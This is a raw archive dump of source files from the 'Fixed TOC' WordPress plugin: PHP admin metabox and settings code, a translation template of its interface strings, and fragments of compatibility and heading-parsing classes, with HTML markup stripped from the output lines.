$post_id The ID of the post being saved. * * @return int|bool */ public function save( $post_id ) { /* * We need to verify this came from our screen and with proper authorization, * because save_post can be triggered at other times. */ // Check if our nonce is set. if ( ! isset( $_POST['fixedtoc_nonce'] ) ) { return $post_id; } $nonce = $_POST['fixedtoc_nonce']; // Verify that the nonce is valid. if ( ! wp_verify_nonce( $nonce, 'fixedtoc_action' ) ) { return $post_id; } /* * If this is an autosave, our form has not been submitted, * so we don't want to do anything. */ if ( defined( 'DOING_AUTOSAVE' ) && DOING_AUTOSAVE ) { return $post_id; } // Check the user's permissions. if ( 'page' == $_POST['post_type'] ) { if ( ! current_user_can( 'edit_page', $post_id ) ) { return $post_id; } } else { if ( ! current_user_can( 'edit_post', $post_id ) ) { return $post_id; } } // Sanitize the user input. $vals = isset( $_POST[ $this->meta_name ] ) ? $_POST[ $this->meta_name ] : array(); $vals = Fixedtoc_Admin_Control::sanitize( $vals ); // Update the meta-field. return update_post_meta( $post_id, $this->meta_name, $vals ); } /** * Register settings. * * @since 3.0.0 * * @void */ private function register_sections() { // Add sections require_once 'class-metabox-sections.php'; new Fixedtoc_Metabox_Sections( $this ); } /** * Add section. * * @since 3.0.0 * * @param string $id * @param string $title * @param string $callback * * @return string */ public function add_section( $id, $title, $callback ) { add_settings_section( $id, $title, $callback, $this->meta_slug ); return $id; } /** * Add section. * * @since 3.0.0 * * @param string $section_id * @param string $field_name * * @return void */ public function add_field( $section_id, $field_name ) { $name = fixedtoc_get_field_data( $field_name, 'name' ); $id = sanitize_key( 'fixedtoc_meta_' . $name ); $title = fixedtoc_get_field_data( $field_name, 'label' ); $args = fixedtoc_get_field_data( $field_name ); $args['name'] = $this->meta_name . '[' . $name . ']'; $args['value'] = fixedtoc_get_meta( $name ); $args['input_attrs'] = isset( $args['input_attrs'] ) ? $args['input_attrs'] : array(); $args['input_attrs'] = isset( $args['meta_input_attrs'] ) ? $args['meta_input_attrs'] : $args['input_attrs']; $args['input_attrs']['id'] = $id; $args['input_attrs']['disabled'] = is_null( fixedtoc_get_meta( $name, false, true ) ); $args['label_for'] = $id; $args['des'] = isset( $args['meta_des'] ) ? $args['meta_des'] : ''; add_settings_field( $id, $title, array( $this, 'render_field' ), $this->meta_slug, $section_id, $args ); } /** * Render field. * * @since 3.0.0 * * @param array $args * * @noinspection DuplicatedCode */ public function render_field( $args ) { if ( ! $args ) { echo ''; } $html = isset( $args['prefix'] ) && $args['prefix'] ? $args['prefix'] . ' ' : ''; $field_obj = new Fixedtoc_Fields_Factory( $args ); $html .= $field_obj->get_html(); $html .= isset( $args['suffix'] ) && $args['suffix'] ? ' ' . $args['suffix'] : ''; $html .= isset( $args['meta_des'] ) && $args['meta_des'] ? '
' . $args['meta_des'] . '
' : ''; echo $html; } /** * Render Meta Box content. * * @since 3.0.0 * * @param WP_Post $post The post-object. * * @noinspection PhpUnusedParameterInspection */ public function render_meta_box_content( $post ) { // Add a nonce field, so we can check for it later. wp_nonce_field( 'fixedtoc_action', 'fixedtoc_nonce' ); // Display the form, using the current value. require_once plugin_dir_path( dirname( __FILE__ ) ) . 'fields/class-fields-factory.php'; $this->render_onoff_field(); ?>
'; $this->do_settings_sections(); echo '
'; } /** * Render on/off field. * * @since 3.0.0 * * @return void. */ private function render_onoff_field() { $name = fixedtoc_get_field_data( 'general_enable', 'name' ); $attr_name = $this->meta_name . '[' . $name . ']'; $value = (bool) fixedtoc_get_meta( $name ); $checked = checked( $value, true, false ); echo '
' . esc_html__( 'Disable/Enable', 'fixedtoc' ) . '
'; echo '
'; echo '
'; echo '
'; echo '
'; echo '
'; } /** * Prints out all settings sections. * * @since 3.0.0 * * @return void */ private function do_settings_sections() { global $wp_settings_sections, $wp_settings_fields; $page = $this->meta_slug; if ( ! isset( $wp_settings_sections[ $page ] ) ) { return; } foreach ( (array) $wp_settings_sections[ $page ] as $section ) { if ( $section['title'] ) { echo "
{$section['title']}
\n"; } if ( $section['callback'] ) { call_user_func( $section['callback'], $section ); } if ( ! isset( $wp_settings_fields ) || ! isset( $wp_settings_fields[ $page ] ) || ! isset( $wp_settings_fields[ $page ][ $section['id'] ] ) ) { continue; } echo '
'; $this->do_settings_fields( $page, $section['id'] ); echo '
'; } } /** * Print out the settings fields for a particular settings section. * * @since 3.0.0 * * @param string $page . Slug the title of the admin page whose settings fields you want to show. * @param string $section . Slug title of the settings section whose fields you want to show. */ private function do_settings_fields( $page, $section ) { global $wp_settings_fields; if ( ! isset( $wp_settings_fields[ $page ][ $section ] ) ) { return; } foreach ( (array) $wp_settings_fields[ $page ][ $section ] as $field ) { $class = isset( $field['args']['input_attrs']['disabled'] ) && $field['args']['input_attrs']['disabled'] ? ' class="ftoc-disabled"' : ''; echo '
'; $button = '
'; if ( ! empty( $field['args']['label_for'] ) ) { echo '
' . $button . '
' . $field['title'] . '
'; } else { echo '
' . $button . $field['title'] . '
'; } echo '
'; call_user_func( $field['callback'], $field['args'] ); echo '
'; echo '
'; } } /** * Enqueue scripts. * * @since 3.0.0 * * @param string $hook * * @noinspection PhpUnusedParameterInspection */ public function enqueue_scripts( $hook ) { $post_types = fixedtoc_get_option( 'general_post_types' ); if ( ! $post_types ) { return; } $post_types = (array) $post_types; if ( in_array( get_post_type(), $post_types ) ) { wp_enqueue_style( 'wp-color-picker' ); wp_enqueue_script( 'wp-color-picker' ); wp_enqueue_style( 'fixedtoc_metabox_style', plugins_url( 'metabox-style.css', __FILE__ ) ); wp_enqueue_script( 'fixedtoc_metabox_script', plugins_url( 'metabox-script.js', __FILE__ ), array( 'jquery-ui-accordion' ), '', true ); } } } admin/metabox/class-metabox-sections.php 0000644 00000014315 14744617432 0014413 0 ustar 00 obj_meta = $obj_meta; // Add sections $this->general_section(); $this->location_section(); $this->trigger_button_section(); $this->contents_section(); $this->contents_header_section(); $this->contents_list_section(); $this->effects_section(); $this->color_scheme_section(); } /** * Add a general section * * @since 3.0.0 * * @return void */ private function general_section() { $section_id = $this->obj_meta->add_section( 'general', esc_html__( 'General', 'fixedtoc' ), '__return_false' ); $this->obj_meta->add_field( $section_id, 'general_in_widget' ); $this->obj_meta->add_field( $section_id, 'general_h_tags' ); $this->obj_meta->add_field( $section_id, 'general_exclude_keywords' ); } /** * Add a location section * * @since 3.0.0 * * @return void */ private function location_section() { $section_id = $this->obj_meta->add_section( 'location', esc_html__( 'Location', 'fixedtoc' ), '__return_false' ); $this->obj_meta->add_field( $section_id, 'location_fixed_position' ); $this->obj_meta->add_field( $section_id, 'location_horizontal_offset' ); $this->obj_meta->add_field( $section_id, 'location_vertical_offset' ); } /** * Add a trigger button section * * @since 3.0.0 * * @return void */ private function trigger_button_section() { $section_id = $this->obj_meta->add_section( 'trigger_button', esc_html__( 'Trigger Button', 'fixedtoc' ), '__return_false' ); $this->obj_meta->add_field( $section_id, 'trigger_icon' ); $this->obj_meta->add_field( $section_id, 'trigger_size' ); $this->obj_meta->add_field( $section_id, 'trigger_shape' ); $this->obj_meta->add_field( $section_id, 'trigger_border_width' ); $this->obj_meta->add_field( $section_id, 'trigger_initial_visibility' ); } /** * Contents section. * * @since 3.0.0 */ private function contents_section() { // Add section $section_id = $this->obj_meta->add_section( 'contents', esc_html__( 'Contents', 'fixedtoc' ), '__return_false' ); // Add fields $this->obj_meta->add_field( $section_id, 'contents_fixed_width' ); $this->obj_meta->add_field( $section_id, 'contents_fixed_height' ); $this->obj_meta->add_field( $section_id, 'contents_shape' ); $this->obj_meta->add_field( $section_id, 'contents_border_width' ); $this->obj_meta->add_field( $section_id, 'contents_col_exp_init' ); $this->obj_meta->add_field( $section_id, 'contents_col_exp_init_mobile' ); $this->obj_meta->add_field( $section_id, 'contents_display_in_post' ); $this->obj_meta->add_field( $section_id, 'contents_position_in_post' ); $this->obj_meta->add_field( $section_id, 'contents_float_in_post' ); $this->obj_meta->add_field( $section_id, 'contents_width_in_post' ); $this->obj_meta->add_field( $section_id, 'contents_height_in_post' ); } /** * Add a contents-header section * * @since 3.0.0 * * @return void */ private function contents_header_section() { $section_id = $this->obj_meta->add_section( 'contents_header', esc_html__( 'Contents Header', 'fixedtoc' ), '__return_false' ); $this->obj_meta->add_field( $section_id, 'contents_header_title' ); $this->obj_meta->add_field( $section_id, 'contents_header_font_size' ); $this->obj_meta->add_field( $section_id, 'contents_header_font_family' ); $this->obj_meta->add_field( $section_id, 'contents_header_customize_font_family' ); $this->obj_meta->add_field( $section_id, 'contents_header_font_bold' ); $this->obj_meta->add_field( $section_id, 'contents_header_title_tag' ); } /** * Add contents list section * * @since 3.0.0 * * @return void */ private function contents_list_section() { $section_id = $this->obj_meta->add_section( 'contents_list', esc_html__( 'Contents List', 'fixedtoc' ), '__return_false' ); $this->obj_meta->add_field( $section_id, 'contents_list_font_size' ); $this->obj_meta->add_field( $section_id, 'contents_list_font_family' ); $this->obj_meta->add_field( $section_id, 'contents_list_customize_font_family' ); $this->obj_meta->add_field( $section_id, 'contents_list_style_type' ); $this->obj_meta->add_field( $section_id, 'contents_list_nested' ); $this->obj_meta->add_field( $section_id, 'contents_list_strong_1st' ); $this->obj_meta->add_field( $section_id, 'contents_list_colexp' ); $this->obj_meta->add_field( $section_id, 'contents_list_sub_icon' ); $this->obj_meta->add_field( $section_id, 'contents_list_accordion' ); $this->obj_meta->add_field( $section_id, 'contents_list_colexp_init_state' ); } /** * Add an effects section * * @since 3.0.0 * * @return void */ private function effects_section() { $section_id = $this->obj_meta->add_section( 'effects', esc_html__( 'Effects', 'fixedtoc' ), '__return_false' ); $this->obj_meta->add_field( $section_id, 'effects_in_out' ); $this->obj_meta->add_field( $section_id, 'effects_active_link' ); } /** * Add a color scheme section * * @since 3.0.0 * * @return void */ private function color_scheme_section() { $section_id = $this->obj_meta->add_section( 'color_scheme', esc_html__( 'Color Scheme', 'fixedtoc' ), '__return_false' ); $this->obj_meta->add_field( $section_id, 'color_button' ); $this->obj_meta->add_field( $section_id, 'color_button_bg' ); $this->obj_meta->add_field( $section_id, 'color_button_border' ); $this->obj_meta->add_field( $section_id, 'color_contents_border' ); $this->obj_meta->add_field( $section_id, 'color_contents_header' ); $this->obj_meta->add_field( $section_id, 'color_contents_header_bg' ); $this->obj_meta->add_field( $section_id, 'color_contents_list_bg' ); $this->obj_meta->add_field( $section_id, 'color_contents_list_link' ); $this->obj_meta->add_field( $section_id, 'color_contents_list_hover_link' ); $this->obj_meta->add_field( $section_id, 'color_contents_list_active_link' ); $this->obj_meta->add_field( $section_id, 'color_contents_list_active_link_bg' ); $this->obj_meta->add_field( $section_id, 'color_target_hint' ); } } inc/init.php 0000644 00000003336 14744617432 0007012 0 ustar 00 true ) ); } } /** * Internationalization. * * @since 1.0.0 * * @return void */ public function internationalization() { load_plugin_textdomain( 'fixedtoc', false, basename( FTOC_ROOTDIR ) . '/languages/' ); } /** * Add action links. * * @since 1.0.0 * * @param array $actions * * @return array */ public function action_links( $actions ) { $actions['settings'] = '
' . esc_html__( 'Settings', 'fixedtoc' ) . '
'; $actions['customize'] = '
' . esc_html__( 'Customize', 'fixedtoc' ) . '
'; return $actions; } } inc/functions.php 0000644 00000004023 14744617432 0010051 0 ustar 00 \n" "Language-Team: \n" "Language: \n" "Plural-Forms: nplurals=INTEGER; plural=EXPRESSION;\n" "MIME-Version: 1.0\n" "Content-Type: text/plain; charset=UTF-8\n" "Content-Transfer-Encoding: 8bit\n" "X-Generator: Loco https://localise.biz/\n" "X-Loco-Version: 2.5.5; wp-5.9.3\n" "X-Domain: fixedtoc" #: admin/field-data/class-general-field-data.php:177 msgid "" "4 or more letters are good. \n" "In order to keep the document structure safe, you should set it." msgstr "" #: admin/field-data/class-contents-list-field-data.php:206 msgid "Accordion List" msgstr "" #: admin/field-data/class-effects-field-data.php:57 msgid "Active Link" msgstr "" #: admin/field-data/class-general-field-data.php:231 msgid "admin widgets page" msgstr "" #: admin/field-data/class-contents-field-data.php:157 msgid "After the 1st heading" msgstr "" #: admin/field-data/class-contents-field-data.php:159 msgid "After the 2nd heading" msgstr "" #: admin/field-data/class-contents-field-data.php:182 msgid "Alignment In Post" msgstr "" #: admin/setting/class-setting-sections.php:71 msgid "Appearance" msgstr "" #: admin/field-data/class-general-field-data.php:158 msgid "" "Automatically convert The heading to HTML id attribute.\n" "Only supports English language headings.\n" "For example: 'Download Source File' to 'download-source-file' or 'ftoc-" "download-source-file' if set the 'ftoc' prefix below." msgstr "" #: admin/field-data/class-contents-field-data.php:257 msgid "Available when the TOC displays in the post or in the Widget." msgstr "" #: admin/field-data/class-contents-field-data.php:156 msgid "Before the 1st heading" msgstr "" #: admin/field-data/class-contents-field-data.php:158 msgid "Before the 2nd heading" msgstr "" #: admin/field-data/class-field-data.php:140 msgid "Bold" msgstr "" #: admin/field-data/class-contents-field-data.php:108 #: admin/field-data/class-trigger-field-data.php:108 msgid "Border" msgstr "" #: admin/field-data/class-effects-field-data.php:80 msgid "Border Fade" msgstr "" #: admin/field-data/class-location-field-data.php:42 msgid "Bottom Left" msgstr "" #: admin/field-data/class-location-field-data.php:39 msgid "Bottom Right" msgstr "" #: admin/field-data/class-effects-field-data.php:66 msgid "Bounce To Left" msgstr "" #: admin/field-data/class-effects-field-data.php:65 msgid "Bounce To Right" msgstr "" #: admin/field-data/class-color-field-data.php:255 msgid "" "Browser will scroll to the target heading then show a short color hint when " "clicking a contents link." msgstr "" #: admin/field-data/class-contents-field-data.php:188 msgid "Center" msgstr "" #: admin/field-data/class-contents-field-data.php:256 msgid "" "Check or uncheck for collapsing or expanding the contents after the page " "loaded." msgstr "" #: admin/field-data/class-general-field-data.php:65 msgid "Check the post types to be applied. Multiple choice." msgstr "" #: admin/field-data/class-general-field-data.php:91 msgid "Check which HTML headings automatically generated table of contents." msgstr "" #: admin/field-data/class-contents-header-field-data.php:204 msgid "Choose which element to collapse/expand the TOC." msgstr "" #: admin/field-data/class-field-data.php:120 #: admin/field-data/class-field-data.php:160 msgid "Circle" msgstr "" #: admin/setting/class-setting-sections.php:86 msgid "Click on the link to set the appearance options." msgstr "" #: admin/metabox/class-metabox.php:250 msgid "" "Click the pen icon from blue to gray, it will cancel the special option and " "restore the default global option." msgstr "" #: admin/metabox/class-metabox.php:247 msgid "" "Click the pen icon from gray to blue, then you can set the special option " "for this page." msgstr "" #: frontend/html/class-element-trigger.php:36 msgid "click To Maximize The Table Of Contents" msgstr "" #: admin/field-data/class-contents-header-field-data.php:197 msgid "Clickable" msgstr "" #: admin/field-data/class-contents-list-field-data.php:232 msgid "Collapse All" msgstr "" #: admin/field-data/class-contents-field-data.php:252 msgid "Collapsing For Initiation(Desktop)" msgstr "" #: admin/field-data/class-contents-field-data.php:273 msgid "Collapsing For Initiation(Mobile)" msgstr "" #: admin/widget/class-widget-sections.php:139 #: admin/customizer/class-customize-sections.php:260 #: admin/metabox/class-metabox-sections.php:184 msgid "Color Scheme" msgstr "" #: admin/widget/class-widget-sections.php:50 #: admin/customizer/class-customize-sections.php:119 #: admin/metabox/class-metabox-sections.php:102 msgid "Contents" msgstr "" #: admin/field-data/class-color-field-data.php:99 msgid "Contents Border Color" msgstr "" #: admin/widget/class-widget-sections.php:83 #: admin/customizer/class-customize-sections.php:159 #: admin/metabox/class-metabox-sections.php:127 msgid "Contents Header" msgstr "" #: admin/field-data/class-color-field-data.php:137 msgid "Contents Header Background Color" msgstr "" #: admin/field-data/class-color-field-data.php:118 msgid "Contents Header Color" msgstr "" #: admin/field-data/class-color-field-data.php:232 msgid "Contents Link Active Background Color" msgstr "" #: admin/field-data/class-color-field-data.php:213 msgid "Contents Link Active Color" msgstr "" #: admin/field-data/class-color-field-data.php:175 msgid "Contents Link Color" msgstr "" #: admin/field-data/class-color-field-data.php:194 msgid "Contents Link Hover Color" msgstr "" #: admin/widget/class-widget-sections.php:102 #: admin/customizer/class-customize-sections.php:194 #: admin/metabox/class-metabox-sections.php:146 msgid "Contents List" msgstr "" #: admin/field-data/class-color-field-data.php:156 msgid "Contents List Background Color" msgstr "" #: admin/field-data/class-general-field-data.php:155 msgid "Convert Heading Into ID" msgstr "" #: inc/init.php:72 admin/field-data/class-field-data.php:86 msgid "Customize" msgstr "" #: admin/customizer/class-customize-sections.php:308 msgid "Customize CSS" msgstr "" #: admin/field-data/class-general-field-data.php:203 msgid "Customize CSS:" msgstr "" #: admin/field-data/class-developer-field-data.php:23 msgid "Debug" msgstr "" #: admin/field-data/class-field-data.php:119 msgid "Decimal" msgstr "" #: admin/setting/class-setting-sections.php:99 msgid "Developer" msgstr "" #: admin/metabox/class-metabox.php:273 msgid "Disable/Enable" msgstr "" #: admin/widget/class-widget.php:56 msgid "Display a Fixed TOC to the current page content." msgstr "" #: admin/field-data/class-contents-field-data.php:129 msgid "Display In Post" msgstr "" #: admin/field-data/class-general-field-data.php:226 msgid "Display In Widget" msgstr "" #: admin/field-data/class-general-field-data.php:106 msgid "Display TOC when" msgstr "" #: admin/widget/class-widget-sections.php:125 #: admin/customizer/class-customize-sections.php:233 #: admin/metabox/class-metabox-sections.php:169 msgid "Effects" msgstr "" #: admin/field-data/class-trigger-field-data.php:42 msgid "Ellipsis" msgstr "" #: admin/field-data/class-trigger-field-data.php:43 msgid "Ellipsis Vertical" msgstr "" #: admin/field-data/class-field-data.php:121 msgid "Empty Circle" msgstr "" #: admin/field-data/class-field-data.php:123 msgid "Empty Square" msgstr "" #: admin/field-data/class-contents-list-field-data.php:166 msgid "Enable Collapse/Expand Sub List" msgstr "" #: admin/field-data/class-developer-field-data.php:26 msgid "" "Enable Debug mode.\n" "Use the uncompressed version of CSS and JavaScript files, console log, etc." msgstr "" #: admin/field-data/class-general-field-data.php:43 msgid "Enable Fixed TOC" msgstr "" #: admin/field-data/class-general-field-data.php:230 msgid "Ensure that you have added the Fixed TOC widget in the " msgstr "" #: admin/field-data/class-general-field-data.php:254 msgid "Enter Max" msgstr "" #: admin/field-data/class-general-field-data.php:253 msgid "Esc Min" msgstr "" #: admin/field-data/class-general-field-data.php:128 msgid "Exclude Headings" msgstr "" #: admin/field-data/class-contents-list-field-data.php:230 msgid "Expand All" msgstr "" #: admin/field-data/class-effects-field-data.php:37 #: admin/field-data/class-effects-field-data.php:62 msgid "Fade" msgstr "" #: admin/field-data/class-general-field-data.php:290 msgid "Fixed Headers" msgstr "" #: admin/field-data/class-widget-field-data.php:31 msgid "Fixed The Widget" msgstr "" #. Base ID #. Name of the plugin #: admin/widget/class-widget.php:53 admin/metabox/class-metabox.php:76 #: admin/setting/class-setting.php:75 admin/setting/class-setting.php:76 msgid "Fixed TOC" msgstr "" #: admin/customizer/class-customize.php:70 msgid "Fixed TOC Plugin" msgstr "" #: admin/setting/class-setting.php:100 msgid "Fixed TOC Settings" msgstr "" #: admin/field-data/class-contents-field-data.php:186 msgid "Float to left" msgstr "" #: admin/field-data/class-contents-field-data.php:187 msgid "Float to right" msgstr "" #: admin/field-data/class-contents-header-field-data.php:145 msgid "Font Bold" msgstr "" #: admin/field-data/class-contents-list-field-data.php:72 #: admin/field-data/class-contents-header-field-data.php:95 msgid "Font Family" msgstr "" #: admin/field-data/class-contents-list-field-data.php:40 #: admin/field-data/class-contents-header-field-data.php:63 msgid "Font Size" msgstr "" #: admin/metabox/class-metabox-sections.php:51 #: admin/setting/class-setting-sections.php:46 msgid "General" msgstr "" #. Description of the plugin msgid "" "Generate a table of contents automatically from content of a post. Fixing in " "the page, user-friendly view." msgstr "" #: admin/field-data/class-contents-header-field-data.php:202 msgid "Header" msgstr "" #: admin/field-data/class-contents-header-field-data.php:164 msgid "Heading Tag" msgstr "" #: admin/field-data/class-general-field-data.php:80 msgid "Headings" msgstr "" #: admin/field-data/class-contents-field-data.php:64 msgid "Height" msgstr "" #: admin/field-data/class-contents-field-data.php:229 msgid "Height In Post" msgstr "" #: admin/field-data/class-trigger-field-data.php:134 msgid "Hide" msgstr "" #: admin/field-data/class-location-field-data.php:60 msgid "Horizontal Offset" msgstr "" #. URI of the plugin msgid "" "https://codecanyon.net/item/fixed-toc-wordpress-plugin/7264676?ref=wphigh" msgstr "" #. Author URI of the plugin msgid "https://codecanyon.net/user/wphigh?ref=wphigh" msgstr "" #: admin/field-data/class-contents-header-field-data.php:201 #: admin/field-data/class-trigger-field-data.php:35 msgid "Icon" msgstr "" #: admin/field-data/class-general-field-data.php:297 msgid "" "If your theme's header is fixed, click the contents link might cover the " "Heading. Input CSS selectors of the fixed menu in here.\n" "Support multiple fixed headers." msgstr "" #: admin/field-data/class-effects-field-data.php:32 msgid "In/Out" msgstr "" #: admin/field-data/class-field-data.php:87 msgid "Inherit" msgstr "" #: admin/field-data/class-contents-list-field-data.php:226 msgid "Initial Collapse/Expand State" msgstr "" #: admin/field-data/class-trigger-field-data.php:129 msgid "Initial Visibility" msgstr "" #: admin/field-data/class-contents-field-data.php:134 msgid "It doesn't work if you have checked the 'Display in Widget' option." msgstr "" #: admin/field-data/class-effects-field-data.php:78 msgid "Leftline Reveal" msgstr "" #: admin/field-data/class-trigger-field-data.php:40 msgid "List Bullet" msgstr "" #: admin/field-data/class-trigger-field-data.php:39 msgid "List Number" msgstr "" #: admin/field-data/class-contents-list-field-data.php:122 msgid "List Style Type" msgstr "" #: admin/customizer/class-customize-sections.php:58 #: admin/metabox/class-metabox-sections.php:67 msgid "Location" msgstr "" #: admin/field-data/class-contents-field-data.php:135 msgid "Make sure that you have unchecked the 'Display in Widget' option." msgstr "" #: admin/widget/class-widget.php:114 msgid "" "Make sure you have added only one the Fixed TOC widget at the same page." msgstr "" #: admin/field-data/class-field-data.php:139 msgid "Medium" msgstr "" #: admin/field-data/class-trigger-field-data.php:41 msgid "Menu" msgstr "" #: admin/field-data/class-location-field-data.php:41 msgid "Middle Left" msgstr "" #: admin/field-data/class-location-field-data.php:38 msgid "Middle Right" msgstr "" #: admin/field-data/class-contents-list-field-data.php:146 msgid "Nested List" msgstr "" #: admin/field-data/class-field-data.php:118 #: admin/field-data/class-field-data.php:137 #: admin/field-data/class-contents-field-data.php:189 #: admin/field-data/class-trigger-field-data.php:44 #: admin/field-data/class-effects-field-data.php:36 #: admin/field-data/class-effects-field-data.php:61 msgid "None" msgstr "" #: admin/field-data/class-contents-list-field-data.php:231 msgid "Only Expand 1st Level" msgstr "" #: admin/field-data/class-contents-list-field-data.php:210 msgid "Only keeping the current sub list to expand and collapse others." msgstr "" #: admin/field-data/class-contents-field-data.php:163 msgid "Or insert the shortcode [toc] anywhere. " msgstr "" #: admin/field-data/class-general-field-data.php:113 msgid "or more headings are present." msgstr "" #: admin/field-data/class-location-field-data.php:33 msgid "Position" msgstr "" #: admin/field-data/class-contents-field-data.php:151 msgid "Position In Post" msgstr "" #: admin/field-data/class-general-field-data.php:61 msgid "Post types" msgstr "" #: admin/field-data/class-general-field-data.php:173 msgid "Prefix" msgstr "" #: admin/field-data/class-general-field-data.php:252 msgid "Quick Min" msgstr "" #: admin/field-data/class-general-field-data.php:256 msgid "" "Quick Min: Click anywhere to minimize TOC.\n" "Esc: Press the 'esc' keyboard to minimize TOC.\n" "Enter: Press the 'enter' keyboard to maximize TOC." msgstr "" #: admin/field-data/class-effects-field-data.php:67 msgid "Radial In" msgstr "" #: admin/field-data/class-effects-field-data.php:68 msgid "Radial Out" msgstr "" #: admin/field-data/class-effects-field-data.php:69 msgid "Rectangle In" msgstr "" #: admin/field-data/class-effects-field-data.php:70 msgid "Rectangle Out" msgstr "" #: admin/field-data/class-effects-field-data.php:77 msgid "Rightline Reveal" msgstr "" #: admin/field-data/class-field-data.php:157 msgid "Round" msgstr "" #: admin/field-data/class-effects-field-data.php:79 msgid "Round Corners" msgstr "" #: admin/field-data/class-general-field-data.php:312 msgid "Scroll Offset" msgstr "" #: admin/field-data/class-effects-field-data.php:41 msgid "Select how the TOC show in and hide out." msgstr "" #: admin/field-data/class-contents-field-data.php:162 msgid "Select the position where the TOC places." msgstr "" #: admin/field-data/class-general-field-data.php:46 msgid "" "Set to enable or disable TOC by default. Later you can also enable/disable " "it on every edit page." msgstr "" #: admin/customizer/class-customize-sections.php:60 msgid "Set TOC's location relative to the post container." msgstr "" #: admin/field-data/class-general-field-data.php:319 msgid "" "Setting spacing between heading and the top of browser after clicking on the " "contents link. (Excluding the fixed head menu and the admin toolbar)" msgstr "" #: inc/init.php:71 msgid "Settings" msgstr "" #: admin/customizer/class-customize-sections.php:235 msgid "Setup special animate effects." msgstr "" #: admin/field-data/class-contents-field-data.php:87 #: admin/field-data/class-trigger-field-data.php:87 msgid "Shape" msgstr "" #: admin/field-data/class-general-field-data.php:248 msgid "Shortcut" msgstr "" #: admin/field-data/class-trigger-field-data.php:133 msgid "Show" msgstr "" #: admin/field-data/class-contents-list-field-data.php:186 msgid "Show Sub List Icon" msgstr "" #: admin/field-data/class-trigger-field-data.php:137 msgid "" "Show: Display the trigger button and hide the contents at initial state.\n" "Hide: Hide the trigger button and display the contents at initial state." msgstr "" #: admin/field-data/class-effects-field-data.php:71 msgid "Shutter In Horizontal" msgstr "" #: admin/field-data/class-effects-field-data.php:72 msgid "Shutter Out Horizontal" msgstr "" #: admin/field-data/class-trigger-field-data.php:62 msgid "Size" msgstr "" #: admin/field-data/class-general-field-data.php:271 msgid "Smooth Scrolling" msgstr "" #: admin/field-data/class-general-field-data.php:140 msgid "" "Specify heading titles to be excluded from the TOC. \n" "One title per line." msgstr "" #: admin/field-data/class-field-data.php:122 #: admin/field-data/class-field-data.php:156 msgid "Square" msgstr "" #: admin/field-data/class-contents-list-field-data.php:251 msgid "Strong 1st Level Item" msgstr "" #: admin/field-data/class-effects-field-data.php:64 msgid "Sweep To Left" msgstr "" #: admin/field-data/class-effects-field-data.php:63 msgid "Sweep To Right" msgstr "" #: admin/field-data/class-color-field-data.php:251 msgid "Target Hint Color" msgstr "" #: admin/customizer/class-customize.php:71 msgid "" "These are global options. You can't save the option here if you have changed " "it by widget or post meta box." msgstr "" #: admin/field-data/class-field-data.php:138 msgid "Thin" msgstr "" #: inc/init.php:40 #, php-format msgid "" "This plugin requires at least WordPress version %s. You are running version " "%s. Please upgrade and try again." msgstr "" #: admin/setting/class-setting-sections.php:116 msgid "" "This section is for developer. Don't change the options below if you aren't " "familiar it!" msgstr "" #: admin/field-data/class-contents-header-field-data.php:37 msgid "Title" msgstr "" #: admin/field-data/class-contents-header-field-data.php:181 msgid "To fit the page structure for SEO." msgstr "" #: admin/field-data/class-location-field-data.php:40 msgid "Top Left" msgstr "" #: admin/field-data/class-contents-field-data.php:155 msgid "Top of the post" msgstr "" #: admin/field-data/class-location-field-data.php:37 msgid "Top Right" msgstr "" #: admin/customizer/class-customize-sections.php:88 #: admin/metabox/class-metabox-sections.php:83 msgid "Trigger Button" msgstr "" #: admin/field-data/class-color-field-data.php:61 msgid "Trigger Button Background Color" msgstr "" #: admin/field-data/class-color-field-data.php:80 msgid "Trigger Button Border Color" msgstr "" #: admin/field-data/class-color-field-data.php:42 msgid "Trigger Button Color" msgstr "" #: admin/field-data/class-general-field-data.php:275 msgid "" "Uncheck it if there is a conflict with the other similar feature has existed " "on your website." msgstr "" #: admin/field-data/class-effects-field-data.php:75 msgid "Underline From Center" msgstr "" #: admin/field-data/class-effects-field-data.php:74 msgid "Underline From Left" msgstr "" #: admin/field-data/class-effects-field-data.php:73 msgid "Underline From Right" msgstr "" #: admin/field-data/class-effects-field-data.php:76 msgid "Underline Reveal" msgstr "" #: admin/field-data/class-location-field-data.php:67 #: admin/field-data/class-location-field-data.php:90 msgid "Unit: px" msgstr "" #: admin/field-data/class-contents-header-field-data.php:78 msgid "Unit: px. Only accept for numbers" msgstr "" #: admin/field-data/class-contents-list-field-data.php:55 msgid "Unit: px. Only accept for numbers." msgstr "" #: admin/field-data/class-location-field-data.php:83 msgid "Vertical Offset" msgstr "" #: admin/field-data/class-contents-field-data.php:166 msgid "What is shortcode?" msgstr "" #: admin/field-data/class-contents-field-data.php:236 msgid "" "When the TOC displays in the post.\n" "Unit: px.\n" "Empty means auto calculate the height." msgstr "" #: admin/field-data/class-contents-field-data.php:213 msgid "" "When the TOC displays in the post.\n" "Unit: px.\n" "Empty means auto calculate the width." msgstr "" #: admin/field-data/class-contents-field-data.php:71 msgid "" "When the TOC is fixed to the post.\n" "Unit: px.\n" "Empty means auto calculate the height." msgstr "" #: admin/field-data/class-contents-field-data.php:48 msgid "" "When the TOC is fixed to the post.\n" "Unit: px.\n" "Empty means auto calculate the width." msgstr "" #: admin/field-data/class-contents-field-data.php:41 msgid "Width" msgstr "" #: admin/field-data/class-contents-field-data.php:206 msgid "Width In Post" msgstr "" #. Author of the plugin msgid "wphigh" msgstr "" #: admin/field-data/class-general-field-data.php:209 msgid "You can add your own CSS here. Only load if the current page has a TOC." msgstr "" #: admin/field-data/class-effects-field-data.php:38 msgid "Zoom" msgstr "" compatibility/kadence-blocks-plugin.php 0000644 00000000416 14744617432 0014304 0 ustar 00 add_attributes(); } ); compatibility/rate-my-post-plugin.php 0000644 00000000721 14744617432 0013777 0 ustar 00 .+?\<\/(' . $h . ')\>/is';*/ $preg = '/<(' . $h . ')[^>]*?>.*?<\/(' . $h . ')>/is'; $this->matches_num = preg_match_all( $preg, $content, $this->matches ); } } /** * Have matches include headings or not * * @since 3.0.0 * @access public * * @return bool. */ public function has_matches() { return (bool) $this->matches_num; } /** * Create a data * * @since 3.0.0 * @access public * * @param array $objs_datum An array of Fixedtoc_Datum instances * * @return void. */ public function create_data( $objs_datum ) { foreach ( $this->matches[0] as $match ) { $this->match = $match; foreach ( $objs_datum as $obj_datum ) { $this->add_datum( $obj_datum ); // delete the datum and continue current loop if the title is empty. if ( isset( $this->data[ $this->index ]['origin_title'] ) && empty( $this->data[ $this->index ]['origin_title'] ) ) { unset( $this->data[ $this->index ] ); continue 2; } } $this->index ++; } } /** * Add a datum. 